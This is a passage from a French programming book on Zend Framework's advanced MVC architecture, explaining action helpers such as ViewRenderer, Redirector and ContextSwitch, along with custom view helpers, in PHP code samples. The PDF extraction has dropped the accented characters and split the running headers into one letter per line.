aides daction nont pas pass true le jeton de distribution de la
requte ;
4 excuter la mthode postDispatch() de notre contrleur, si celui-ci a
pris la peine de redfinir celle prsente dans Zend_Controller_Action ;
5 excuter postDispatch() sur toutes les aides daction.
On notera ce stade que driver la classe Zend_Controller_Action, l
encore, va permettre de changer la logique dexcution de tous les con-
trleurs, mme si cette drivation doit faire lobjet dune rflexion pra-
lable, car les aides daction sont l pour rassembler les traitements
communs toutes les actions. Aussi, quelques mthodes de
Zend_Controller_Action sont dclares final : elles sont donc hrites,
mais non redfinissables.
Mthodes mises disposition
Analysons maintenant quelques mthodes utiles pour nos actions, dont
nous hritons de Zend_Controller_Action :
init() est appele juste aprs la construction de linstance. Ceci vous
vite de rcrire un constructeur dans vos contrleurs et doublier
dappeler le constructeur parent, ce qui, de toute vidence, va provo-
quer une erreur fatale ;
preDispatch() est appele avant chaque action, mais aprs le
preDispatch() des aides daction. Redfinissez ainsi cette mthode si
vous avez besoin de mettre en facteur un traitement devant apparatre
avant chacune des actions de votre contrleur ;
postDispatch() est appele aprs chaque action, mais avant le
postDispatch() des aides daction. Redfinissez ainsi cette mthode
si vous avez besoin de mettre en facteur un traitement devant appa-
ratre aprs chacune des actions de votre contrleur ;
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
129
getInvokeArg() permet de rcuprer un paramtre additionnel pass
au contrleur frontal ou au distributeur. Ceci est trs pratique, puisque
la mthode setParam() du contrleur frontal permet de passer un para-
mtre tous les contrleurs, que lon rcupre via cette mthode ;
render() demande le rendu explicite dune vue. Les paramtres de
cette mthode permettent de dfinir o se situe le script de vue, ainsi
que le nom du segment du corps de lobjet de rponse dans lequel
rendre la vue indique ;
renderScript() a le mme but que render() : rendre une vue. Sim-
plement, les paramtres de cette mthode permettent de dfinir le
chemin de la vue relatif au basePath des vues ;
_forward() est souvent mal comprise, mme si pourtant trs simple.
La requte actuelle tant dj distribue (ou tout du moins en cours),
la mthode _forward() permet dinjecter une autre requte (sous
forme de paramtres module/contrleur/action), tout en remettant
false le jeton de distribution, provoquant effectivement une autre
itration de la boucle, condition quaucune altration ne vienne
gner ce comportement (plugin, aide daction...) ;
_redirect() est trs diffrente de _forward() dans la mesure o cette
action va piloter une aide daction appele redirector (que nous ver-
rons bientt en dtail), qui agit directement sur lobjet de rponse, en
y injectant un en-tte demandant une redirection HTTP (code 30x),
suivie par dfaut dun exit() PHP ;
_getParam() renvoie directement vers la mthode du mme nom de
lobjet de requte. Nous vous rappelons quabuser de cette mthode
est une mauvaise pratique, car les ventuels paramtres des routes
sont choisis avant les paramtres GET, eux-mmes choisis avant les
paramtres POST.
Les aides daction
Au sein des contrleurs daction se situent des aides. Ce sont des classes
dont le but est simple : mettre en facteur (et donc en commun) un code
reprsentant une fonctionnalit particulire pouvant tre lie tous les
contrleurs daction dune application. Par exemple, demander une redi-
rection, enregistrer un message derreur pour la requte suivante, trans-
former des donnes en JSON ou encore crer des URL.
Le gestionnaire daides d'action
Toutes les aides daction sont enregistres dans un gestionnaire daides,
matrialis par la classe Zend_Controller_Action_HelperBroker dont
limportance est notable. Une instance du gestionnaire daides est atta-
che la construction de chaque contrleur daction par le distributeur.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
130
Les rles du gestionnaire daides sont multiples :
faciliter laccs aux aides. Une instance du gestionnaire est prsente
sous forme dattribut protg de la classe Zend_Controller_Action :
$_helper ;
charger les classes des aides uniquement lorsquun contrleur en a
besoin, et faire persister entre les contrleurs les instances charges,
de manire conomiser des ressources et partager des paramtres ;
passer linstance du contrleur daction en cours toutes les aides :
chaque aide va donc pouvoir interagir avec le contrleur depuis lequel
elle est appele, ce qui reprsente un atout considrable dans la dl-
gation des rles.
Du ct des aides proprement parler, il faut bien garder lesprit les
lments suivants :
chacune delles nest instancie que lorsquelle est appele depuis un
contrleur daction (ou instancie manuellement, ce qui est trs rare),
et chaque instance va persister dans le gestionnaire, pour tre dispo-
nible pour un ventuel autre contrleur daction par la suite, dans la
mme requte cliente ;
chaque aide possde une mthode preDispatch() appele avant la
mthode preDispatch() du contrleur daction ;
Figure 718
Diagramme de classes simplifi
du gestionnaire daides daction
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
131
chaque aide possde aussi une mthode postDispatch() appele aprs
la mthode postDispatch() du contrleur daction ;
les mthodes preDispatch() et postDispatch() de toutes les aides
sont appeles lune aprs lautre, dans lordre dans lequel les aides ont
t charges dans le gestionnaire. Cet ordre est gr par un objet
Zend_Controller_Action_HelperBroker_PriorityStack ;
une aide est active par dfaut dans Zend Framework, cest
ViewRenderer, les autres sont disponibles, mais uniquement charges
au besoin.
Charger et piloter des aides daction
Nous lavons vu, la classe responsable de la gestion des aides daction est
Zend_Controller_Action_HelperBroker. Ce qui est intressant de noter,
cest quelle utilise les mthodes magiques __call() et __get() de
manire fournir une interface trs souple pour piloter les aides.
Charger une aide depuis un contrleur daction
Accder directement la mthode direct() dune aide
Comme on peut le voir, charger une aide est simple : __get() va inter-
cepter lappel de laide et la retourner. Pour cela, si linstance de laide
existe dj en mmoire, le gestionnaire va la retourner, sinon il va la
garder en mmoire statiquement pour les prochains appels. Il sagit dun
pattern singleton assez particulier.
Laide __call() du gestionnaire va, comme __get(), intercepter lappel
dune aide, la rcuprer, et invoquer immdiatement sa mthode
direct() (si celle-ci nexiste pas, une exception va tre retourne). Il
sagit l dun design pattern strategy.
Dautres mthodes sont disponibles sur le gestionnaire daides, certaines
statiques, dautres non. Nous allons dtailler les particularits des plus
importantes dentre elles :
addPath() permet dajouter un dossier dans lequel le gestionnaire va
chercher les aides. Les aides par dfaut sont cherches dans Zend/
Controller/Action/Helper ;
addPrefix() va ajouter un prfixe de classe pour charger les aides, et
remplacer les traits de soulignement (underscores) par des slashs afin
dajouter aussi un dossier dans lequel se trouvent les aides ;
$this->_helper->monAide;
// quivalent :
$this->_helper->getHelper('monAide');
$this->_helper->monAide();
NE PAS CONFONDRE Aide daction ou plugin ?
La question se pose souvent et la lecture de ce
chapitre a d vous donner la rponse. Une aide
daction est en relation avec le contrleur qui la
invoque, pas un plugin. Une aide daction a un
champ de traitement moins large quun plugin :
elle nagit que dans la boucle de distribution. De
plus, elle est instancie si et seulement si on fait
appel elle, contrairement un plugin qui, une
fois instanci et inject dans le systme, y demeure
prsent pour toujours.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
132
resetHelpers() permet de vider la pile des actions charges par le
gestionnaire. Ceci est pratique pour les tests ;
getHelper() retourne une aide en crant son instance si ncessaire.
Cest une mthode similaire __get(). Si elle est appele depuis un
contrleur daction (ce qui est en gnral le cas), linstance de celui-ci
sera passe laide appele, puis laide sera initialise (sa mthode
init() sera invoque) ;
getStaticHelper() a le mme effet que getHelper(), mais sutilise de
manire statique. Attention, aucun contrleur daction ne sera pass
laide en question, puisque lappel est statique. Aussi, la mthode
init() de laide ne sera pas invoque ;
getExistingHelper() est statique, elle a le mme effet que
getStaticHelper(), mais renverra une exception si laide na pas t
pralablement charge ;
getStack() retourne linstance Zend_Controller_Action_HelperBroker
_PriorityStack dont le rle est de grer lordre dans lequel les aides
daction sont appeles lorsque le contrleur daction demande invo-
quer les mthodes preDispatch() et postDispatch().
Nous avons utilis dans notre application quelques aides daction. Nous
ne pouvons dtailler toutes celles comprises dans Zend Framework. Cela
dit, nous vous prsentons ici celles que nous avons juges importantes.
ViewRenderer
Laide ViewRenderer est primordiale, car elle est active par dfaut dans
Zend Framework par le contrleur frontal, lors de la distribution et
rpartition de la requte. La dsactiver est simple, passez le paramtre
noViewRenderer au contrleur frontal.
Les rles de cette aide sont les suivants :
faire en sorte que chaque action rende un script de vue automatique-
ment, sauf si on spcifie le contraire ;
soccuper de piloter lobjet de vue (Zend_View), notamment en lui
indiquant o se trouvent les scripts de vue rendre, en fonction du
trio module/contrleur/action en cours de distribution ;
servir de passerelle pour injecter ou rcuprer lobjet vue dans la
chane MVC ;
peupler lattribut $view du contrleur daction auquel elle est ratta-
che.
Cest donc ce composant qui, par dfaut, indique que la vue se trouve
dans le dossier {module}/view/scripts/{contrleur}/{action}.phtml.
Tous ces chemins sont modifiables, la documentation vous indiquera
comment procder.
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
133
Il convient de noter les points importants suivants :
si nous avons besoin de linstance de lobjet vue du modle MVC
(Zend_View), cest cette aide quil faut sadresser. Par exemple, dans
notre application, nous configurons la vue avant de lancer le
dispatch(), de la manire suivante :
index.php
Ici nous passons notre propre instance vue laide ViewRenderer, autre-
ment elle va se charger de crer une instance de son ct.
Figure 719
Diagramme de classes simplifi
de laide daction ViewRenderer
$view = new Zend_View();
$view->setEncoding('UTF-8');
$view->strictVars((bool) $configMain->debug);
$vR = Zend_Controller_Action_HelperBroker::getStaticHelper('ViewRenderer');
// Passage de notre vue ViewRenderer
$viewRenderer->setView($view);
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
134
si, ce stade nous avions voulu rcuprer cette instance, il aurait fallu
agir comme ceci :
Axemple de rcupration de lobjet de vue
la vue est prsente dans lobjet ViewRenderer sous forme dattribut
public, mais elle nest initialise et partage dans le contrleur
daction que lorsque la mthode init() est appele, ce qui est le cas
lorsquon se situe aprs la distribution, mais pas avant ;
passer setNoRender(true) dsactive le rendu automatique unique-
ment pour laction en cours ;
passer setNeverRender(true) dsactive dfinitivement le rendu auto-
matique (pour la requte en cours) ;
il reste possible de rendre une vue explicitement dans ses contrleurs
daction, ce que permettent les mthodes render() et
renderScript() : elles vont piloter laide ViewRenderer et vont lui
spcifier de ne plus rendre de vue pour laction en cours, puisque nous
avons pris la main ;
le calcul du chemin de la vue se fait au travers dun objet appel
inflecteur, instance de Zend_Filter_Inflector ;
$vR = Zend_Controller_Action_HelperBroker::getStaticHelper('ViewRenderer');
$vR->init();
$view = $vR->view;
Figure 720
Diagramme de squence simplifi
de linvocation de laide daction
ViewRenderer
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
135
la variable $_noController est utilise pour spcifier laide
ViewRenderer que le calcul du chemin du script de vue ne doit pas
prendre en compte le contrleur. Le script se trouvera donc (par
dfaut) dans {module}/view/scripts/ et non plus dans {module}/
view/scripts/{controllername}/.
Layout
Laide daction Layout, dont le schma UML est illustr sur la figure 7-21,
possde peu de rles :
partager linstance de Zend_Layout dans les contrleurs daction en
fournissant un accs celle-ci directement (via la mthode
direct()) ;
fonctionner en duo avec le plugin des layouts (vu prcdemment) et
le prvenir si toute laction sest bien droule (ceci se passe en
postDispatch() de laide daction).
Rappelons tout de mme que cette aide daction et le plugin qui lui est
associ ne sont enregistrs que lorsque les layouts sont utiliss, cest--
dire lors de lappel de Zend_Layout::startMvc().
Redirector
Comme son nom lindique, cette aide daction est charge de grer les
redirections HTTP.
Nous nallons pas la dtailler, car le diagramme UML de la figure 7-22
est assez explicite. En fait chaque mthode ralise presque la mme
chose, cest juste lAPI (les paramtres quon lui passe) qui change.
Figure 721
Diagramme de classes simplifi
de laide daction Layout
RAPPEL Mthode _redirect()
La mthode _redirect(), que lon utilise par-
fois depuis un contrleur daction, fait en ralit
appel la mthode gotoUrl() de laide
daction Redirector.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
136
Il faut en revanche noter les points suivants :
laide Redirector est en liaison directe avec lobjet de rponse et se
charge de remplir son code de rponse HTTP, ainsi que ses en-ttes,
Location entre autres ;
par dfaut, Redirector fait suivre son instruction dun exit() PHP,
ce qui a pour effet darrter tout traitement. Passer false sa
mthode setExit() vite cela, mais il faut alors bien prendre ce para-
mtre en compte dans ses contrleurs daction ;
le code de rponse HTTP est par dfaut 302, qui est un code trs
gnrique, pas forcment adapt certaines situations. Renseignez-
vous sur le protocole HTTP pour plus dinformations (RFC 2616).
Url
Cette aide sert crer des URL en fonction dun trio module/contr-
leur/action, et/ou du nom dune route utiliser. Elle utilise une mthode
assemble() du routeur afin de calculer la route inverse.
ContextSwitch
ContextSwitch est une aide charge de changer dynamiquement le com-
portement dune partie du modle MVC, en fonction de paramtres
dentre, gnralement issus de la requte HTTP.
Figure 722
Diagramme de classes simplifi
de laide daction Redirector
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
137
Cette aide est trs pratique dans les architectures full REST, dans la
mesure o elle permet dajouter des prsentations pour une seule et
mme ressource. Ainsi un contrleur va pouvoir dcider des diffrentes
prsentations possibles pour toutes les actions quil contient. Laide
daction contextSwitch est une aide qui demande son activation la
construction du contrleur daction. Pour lactiver, il faut invoquer sa
mthode initContext() depuis un contrleur daction.
videmment, il faut au pralable la configurer, ce qui nest pas trs com-
pliqu, comme nous allons le voir, grce notre contrleur
ReservationController.
Afin que contextSwitch puisse fonctionner, il faut lactiver depuis la
mthode init() du contrleur daction. L, on dclare simplement
quelles actions du contrleur actuel vont ragir quels contextes, sachant
quil existe dj deux contextes prfabriqus : XML et JSON. Il demeure
possible de construire ses propres contextes, ce que nous allons dtailler.
Mais quoi quil arrive, les contextes agissent comme cela :
ils peuvent au besoin dsactiver le rendu des layouts : en effet une
rponse JSON ou XML, par exemple, ne ncessite pas le rendu du
layout, qui pour rappel se compose souvent de HTML ;
ils peuvent changer le suffixe de la vue appele en fonction du con-
texte. Par exemple le contexte XML cherchera une vue sur le pattern
actionName.xml.phtml par dfaut ;
ils ont la possibilit dajouter des en-ttes lobjet de rponse. La
rponse XML na pas les mmes en-ttes que la rponse HTML, etc. ;
enfin, les contextes peuvent utiliser des fonctions de rappel
(callback) leur initialisation (init), ou aprs leur processus (post).
Ces fonctions peuvent savrer utiles, par exemple le contexte JSON
enregistre une fonction de rappel en init afin de dsactiver le rendu
de la vue.
Activation de contextSwitch, ReservationController.php
Ce code permet dactiver la commutation de contexte pour laction list
(listAction()), qui ragira aux contextes XML et JSON (intgrs dans
ContextSwicth par dfaut). Ds lors, interroger cette action en lui ajou-
tant un paramtre GET appel format, ayant la valeur xml, ou json, fera
ragir le contextSwitch.
$this->_helper->contextSwitch()
->addActionContext('list', array('xml', 'json'))
->initContext();
RENVOI REST
REST (REpresentational State Transfer) est
une alternative SOAP (Simple Object Access
Protocol) pour la cration de services web. Il est
abord dans le chapitre 12 consacr linteropra-
bilit.
REMARQUE Le paramtre format
Le paramtre de requte qui fait ragir une action
dun contrleur la commutation de contexte
sappelle format par dfaut. Vous pouvez le
changer en appelant la mthode
setContextParam(). Ce paramtre est
demand lobjet de requte et peut donc lui tre
pass en GET ou en POST.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
138
Le contexte JSON ne ncessite rien de particulier, nous pouvons donc
lutiliser immdiatement, en appelant la page reservation/
list?format=json. Par dfaut, le contexte JSON srialise toutes les
variables de la vue et rend une rponse JSON, ce qui, dans notre cas, ne
nous arrange pas trop, car notre vue comporte des variables que nous ne
voulons pas inclure dans la rponse JSON : le titre de la page
(pageTitle) et une variable de cache (cached). Il va donc falloir changer
la manire dont fonctionne ce contexte par dfaut.
Rendu manuel du JSON, ReservationController::listAction()
Figure 723
Diagramme de classes simplifi de laide
daction ContextSwitch
if ($this->_helper->contextSwitch->getCurrentContext() == 'json')
{
$this->_helper->json->sendJson($reservations);
}
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
139
Au lieu de nous reposer sur le comportement par dfaut, qui va inclure
des variables de vue que nous ne souhaitons pas, nous prfrons ajouter
une clause notre mthode listAction(). Si on dtecte que le contexte
JSON est en cours dutilisation, alors nous rendons nous-mmes
manuellement du contenu JSON (au moyen dune autre aide daction
appele json) : le contenu des rservations, sans autre forme de variable.
Il faut noter que sendJson() est radicale : elle est suivie dun exit()
PHP.
Concernant le XML, un autre problme va se poser : le menu
submenu.phtml, rendu dans la mthode init(). En effet, mme si nous
rendons du XML le plus valide qui soit, le contenu du submenu.phtml va
se mlanger au XML, altrant totalement la rponse. Il faut donc trouver
un moyen de supprimer le contenu de submenu.phtml, ce que nous accom-
plissons au moyen dune fonction de rappel place en initialisation.
Ajout dune fonction de rappel en initialisation du contexte JSON
Nous indiquons que nous souhaitons utiliser la mthode statique
initContext() de la classe Zfbook_Controller_ContextSwitch_XmlJson,
comme mthode dinitialisation du contexte, appele avant linterven-
tion du contextSwitch.
Zfbook_Controller_ContextSwitch_XmlJson
Nous vidons simplement la rponse, ce qui a pour effet de vider le con-
tenu du sous menu, rendu avant la distribution de notre action.
Le contexte XML va chercher une vue selon le pattern
{actionname}.xml.phtml. Crons donc ce fichier contenant le XML :
views/scripts/reservation/list.xml.phtml
$this->_helper->contextSwitch()
->addActionContext('list', array('xml', 'json'))
->setCallBack('xml', 'init', array('Zfbook_Controller_ContextSwitch_XmlJson','initContext'))
->initContext();
class Zfbook_Controller_ContextSwitch_XmlJson
{
public static function initContext()
{
Zend_Controller_Front::getInstance()->getResponse()->clearBody();
}
}
RENVOI Zend_Date
Le composant Zend_Date est abord dans le
chapitre 13.
<?php
$dateBegin = new Zend_Date();
$dateEnd = clone $dateBegin;
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
140
Nous utilisons lAPI de XMLWriter, disponible dans PHP 5.2, pour cons-
truire facilement une rponse XML.
Interroger la page /reservation/list?format=xml affiche donc quelque
chose de similaire ce qui est illustr sur la figure 7-24.
Nous allons en dernier lieu crer un contexte de toute pice : le contexte
CSV.
Dans le chapitre 13, nous expliquerons comment crer un composant
permettant de transformer un tableau PHP en donnes CSV. Nous
allons ici utiliser ce composant afin de rendre notre contrleur
ReservationController ractif au contexte CSV.
$writer = new XMLWriter();
$writer->openMemory();
$writer->startDocument('1.0');
$writer->startElement('reservations');
foreach ($this->reservations as $reservation) {
$dateBegin->set($reservation['date_begin'], 'YYYY-MM-DD HH:mm:ss', 'fr_FR');
$dateEnd->set($reservation['date_end'], 'YYYY-MM-DD HH:mm:ss', 'fr_FR');
$writer->startElement('reservation');
$writer->writeAttribute('id', $reservation['id_reservation']);
$writer->writeElement('room', $reservation['room']);
$writer->writeElement('date_begin', $dateBegin->toString('dd MMMM HH:mm'));
$writer->writeElement('date_end', $dateEnd->toString('dd MMMM HH:mm'));
$writer->writeElement('usage', $reservation['usage']);
$writer->writeElement('creator', $reservation['user']);
$writer->endElement();
}
$writer->endElement();
$writer->endDocument();
echo $writer->flush();
Figure 724
La rponse XML de laction list
du contrleur des rservations
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
141
Activation du contexte CSV dans le contrleur ReservationController.php
La mthode addContext() permet dajouter un nouveau contexte en lui
donnant un nom et en lui passant en second paramtre un tableau PHP,
ici issu dune mthode statistique (getContext()), qui va contenir cer-
taines cls ncessaires au bon fonctionnement du contexte.
Zfbook/Controller/ContextSwitch/Csv.php
Zfbook/Controller/ContextSwitch/Abstract.php
$this->_helper->contextSwitch()
->addContext('csv', Zfbook_Controller_ContextSwitch_Csv::getContext())
->setCallBack('xml', 'init', array('Zfbook_Controller_ContextSwitch_XmlJson','initContext'))
->addActionContext('list', array('csv', 'xml', 'json'))
->initContext();
CONSEIL Contextes intgrs
Lanalyse de la source de Zend/Controller/
Action/Helper/ContextSwitch.php
permet de prendre connaissance de la manire
dont fonctionnent les contextes intgrs XML et
JSON, ce qui est intressant lorsquil sagit de crer
son propre contexte.
class Zfbook_Controller_ContextSwitch_Csv extends Zfbook_Controller_ContextSwitch_Abstract
{
public static function getContext()
{
return self::buildContext(__CLASS__, 'text/csv');
}
public static function getContent()
{
$viewRenderer = Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer');
$reservations = iterator_to_array($viewRenderer->view->reservations->getIterator());
$content = Zfbook_Convert_Csv::getInstance()->convertFromArray($reservations);
Zend_Controller_Front::getInstance()->getResponse()->setBody($content);
}
}
abstract class Zfbook_Controller_ContextSwitch_Abstract
{
const CS_POST = 'getContent';
const CS_INIT = 'initContext';

public static function initContext()
{
$viewRenderer = Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer');
$viewRenderer->setNoRender(true);
}

protected static function buildContext($callbackClass, $mimeType)
{
$context = array();
$context['headers'] = array('Content-type' => $mimeType);
$context['callbacks']['post'] = array($callbackClass, self::CS_POST);
$context['callbacks']['init'] = array($callbackClass, self::CS_INIT);
return $context;
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
142
Voyez comment nous avons prvu lajout ventuel dautres contextes :
nous avons utilis une classe abstraite dont vont hriter les classes des
contextes supplmentaires.
La mthode buildContext() retourne ce quoi sattend laide
contextSwitch : un tableau qui lui fournit les paramtres suivants :
les en-ttes rajouter la rponse pour ce contexte ;
le suffixe de vue ajouter au suffixe par dfaut pour ce contexte. Nous
avons choisi de ne pas en utiliser et de remplir le corps de la rponse
directement ;
la fonction de rappel utilise linitialisation du contexte ;
la fonction de rappel utilise en postDispatch, juste aprs action du
contexte.
Laide contextSwitch montre clairement la puissance des aides daction :
elle met vraiment en facteur tout un concept de changement de la rponse,
en fonction dun appel spcifique. En hrite dailleurs de laide
AjaxContext, qui sactive simplement si la requte est une requte Ajax
(isXmlHttpRequest()), et elle cherche une vue en rajoutant le suffixe ajax.
La vue
La vue est matrialise par une instance de Zend_View_Abstract qui, par
dfaut, est un objet Zend_View. Sa manipulation est aise et nous avons
dj eu loccasion den parler dans le chapitre prcdent.
La vue est simple dutilisation. Il suffit de connatre un seul paramtre
pour quelle fonctionne : le dossier o se situent les scripts de vues, aussi
appel scriptPath. Voici ce quil faut retenir, dun point de vue tech-
nique, sur Zend_View :
Zend_View est indpendant de Zend_Controller : on peut utiliser lun
sans lautre, et mme si par dfaut ils sont coupls, leur dcouplage
est possible et simple ;
Zend_View nest pas un moteur de template, cest une solution gnrique
de sparation de la logique daffichage et de la logique de contrle. ce
titre, Zend_View est trs flexible et vous permettra de le driver facile-
ment ou de lintgrer dans une solution de gestion de templates comme
Smarty. La documentation officielle en montre un exemple ;
les variables de vues sont affectes par cration dynamique : affecter
une variable de vue va rellement crer dynamiquement un attribut
public dans la classe Zend_View (ceci est une proprit du modle
objet de PHP) ;
Zend_View tend Zend_View_Abstract et joue avec la visibilit des
attributs de classes de manire fournir un contexte objet ($this) aux
scripts de vue, qui sont inclus dans linstance de Zend_View ;
T Smarty
Smarty est un moteur de template trs connu dans
le monde du dveloppement PHP. Il a t crit
depuis longtemps par un des contributeurs au
code source de PHP et a su voluer avec celui-ci. Il
propose notamment une API apprcie des gra-
phistes et intgrateurs.
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
143
la vue utilise des aides, des filtres et des scripts. Les chemins des dos-
siers contenant ces fichiers sont relatifs au basePath (chemin de base)
de lobjet Zend_View, qui peut ce titre possder plusieurs dossiers de
base. Ils seront parcourus en ordre LIFO ;
le chargement des filtres et des aides peut tre modifi grce lobjet
Zend_Loader_PluginLoader qui permet de changer la correspondance
prfixe de la classechemin du fichier.
Les aides de vue
Comme pour les contrleurs daction, nombre de traitements seront
communs aux vues. Afin dviter de dupliquer le code de ces traitements
similaires, un systme daides de vue existe.
Chaque aide de vue est reprsente par une classe, qui tend
Zend_View_Helper_Abstract (ceci nest pas obligatoire). Celle-ci doit se
trouver dans le rpertoire views/helpers dun des dossiers de base de la
vue Zend_View. Par dfaut, laide daction ViewRenderer (tudie quel-
Figure 725
Diagramme de classes simplifi
du composant Zend_View
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
144
ques pages auparavant) se charge de grer le dossier de base de la vue en
ajoutant le dossier du module dans lequel on se trouve.
Appeler une aide de vue depuis linstance de la vue Zend_View est trs
simple : sa mthode __call() permet un appel sous forme de mthode.
Quelques aides de vue
Les aides de vue incluses dans la distribution de Zend Framework sont
trs nombreuses et une lecture de la documentation vous en apprendra
beaucoup sur chacune delles. Nous en avons en revanche utilis quel-
ques-unes dans notre application :
Aide de traduction
Cette aide va chercher linstance de Zend_Translate dans le registre
Zend_Registry, afin de permettre la traduction de chanes de caractres.
Aide dinclusion partielle
Cette aide permet de charger un contenu partiel (bloc), issu dun autre
fichier. Lespace de nommage du bloc insr nest pas mlang lespace
courant. On passe simplement les variables dans un tableau en second
paramtre de la mthode. Cest trs pratique ds lors quune partie de la
vue se rpte un peu partout dans le design final, ou encore pour sparer
les espaces de variables (ce que nous faisons ici).
Laide dinclusion partielle partial possde une sur appele
partialLoop permettant de faire la mme chose dans une boucle.
Aide de pagination
// en bootstrap :
Zend_Registry::set('Zend_Translate', $translate);
// en list.phtml
<th><?php echo $this->translate("Salle"); ?></th>
<!-- layout.phtml -->
<?php echo $this->partial('common/header.phtml',
array('pageTitle' => $this->pageTitle)); ?>
// en bootstrap :
Zend_Paginator::setDefaultScrollingStyle('Sliding');
Zend_View_Helper_PaginationControl::setDefaultViewPartial('common/pagination_control.phtml');
// en list.phtml :
// affichage direct d'un objet Zend_Paginator
<?php echo $this->reservations; ?>
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
145
Ici, laide est utilise de manire statique pour spcifier un contenu par-
tiel employ lorsquon affiche une instance du paginateur
Zend_Paginator de manire directe.
Aide dappel dune action
Laide action permet de lancer un processus de distribution clon dun
trio module/contrleur/action. Nous nous en servons pour afficher
notamment le formulaire didentification (login) dans len-tte du site.
Ce formulaire ne doit pas tre affich si lutilisateur est identifi. Il y a
donc un point de dcision. Cette dcision ne doit pas tre prise par la
vue, car elle est du ressort dun contrleur.
La distribution est clone, cest--dire que les objets de requte, rponse,
distributeur et vue sont dupliqus depuis la requte actuelle, afin que
laction demande ne vienne pas interfrer avec laction actuelle. Si celle-
ci se termine par une redirection ou une exception, laide action retour-
nera null.
Crer son aide de vue
Bien entendu, il reste possible de crer ses propres aides de vue. Sauf si
vous modifiez la manire dont Zend_Loader_PluginLoader agit dans
Zend_View, les aides doivent suivre une syntaxe prcise :
elles doivent tre prfixes par Zend_View_Helper_ ;
elle doivent possder une mthode du mme nom que leur classe,
sans prfixe et sans majuscule la premire lettre ;
elle peuvent hriter de Zend_View_Helper_Abstract, ceci permettra
alors Zend_View de leur passer sa propre instance, utilisable dans
laide.
Voyons dabord un exemple, avec une aide pratique : baseUrl.
application/views/helpers/BaseUrl.php
Trs simple, cette aide permet de rcuprer lURL de base de lapplica-
tion, ce qui est utile notamment pour crer des liens absolus, mais aussi
// header.phtml
<?php echo $this->action('index', 'login'); ?>
class Zend_View_Helper_BaseUrl
{
public function baseUrl()
{
return Zend_Controller_Front::getInstance()->getBaseUrl();
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
146
pour spcifier lURL de base HTML partir de laquelle tous les liens
relatifs seront calculs (balise <base> en en-tte).
On note que laide sappelle BaseUrl, et que la mthode sappelle
baseUrl(). L encore, un design pattern strategy permet une utilisation
trs simple de laide :
Utilisation de laide baseUrl dans nimporte quelle vue
Il est aussi possible, fort heureusement, de driver une aide de vue exis-
tante. Cest ce que nous avons fait pour laide Url. Celle-ci permet de
crer des URL en utilisant linversion de correspondance (reverse mat-
ching) du routeur, tout comme le fait laide daction du mme nom, ren-
contre quelques pages avant.
Linconvnient de laide de vue Url rside dans son API quelque peu
droutante : il faut passer les module/contrleur/action sous forme de
tableau, et si on ne passe rien, la route nest pas remise zro par dfaut,
ce qui entrane la conservation des paramtres GET de la requte. Red-
finissons donc cette aide de vue afin dobtenir une API un peu plus
intressante :
application/views/helpers/Link.php
<?php echo $this->baseUrl() ?>
class Zend_View_Helper_Link extends Zend_View_Helper_Url
{
public function link($controllerName = null,
$actionName = null, $moduleName = null,
$params = '', $name = 'default',
$reset = true)
{
$fc = Zend_Controller_Front::getInstance();
if ($controllerName === null) {
$controllerName = $fc->getRequest()
->getParam('controller');
}
if ($actionName === null) {
$actionName = $fc->getRequest()->getParam('action');
}
if (is_array($params)) {
$params = '?' . http_build_query($params);
}
return parent::url(array(
'controller'=> $controllerName,
'action' => $actionName,
'module' => $moduleName), $name, $reset) . $params;
}
}
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
147
Enfin, voyons une dernire aide de vue personnalise, hritant de
Zend_View_Helper_Abstract.
application/views/helpers/SetTitrePage.php
Cette aide profite du fait que linstance de Zend_View se passe elle-mme
laide de vue, pour lutiliser directement dans le but de traduire le mes-
sage qui lui est pass, puis de le raffecter la vue sous forme dune
variable : pageTitle.
Ceci est possible parce que laide de vue hrite de
Zend_View_Helper_Abstract. Elle se voit dote de linstance de
Zend_View sous forme dattribut public de classe $view.
Les filtres de vue
Les filtres de vue ont un seul but : filtrer le flux de sortie de la vue, cest-
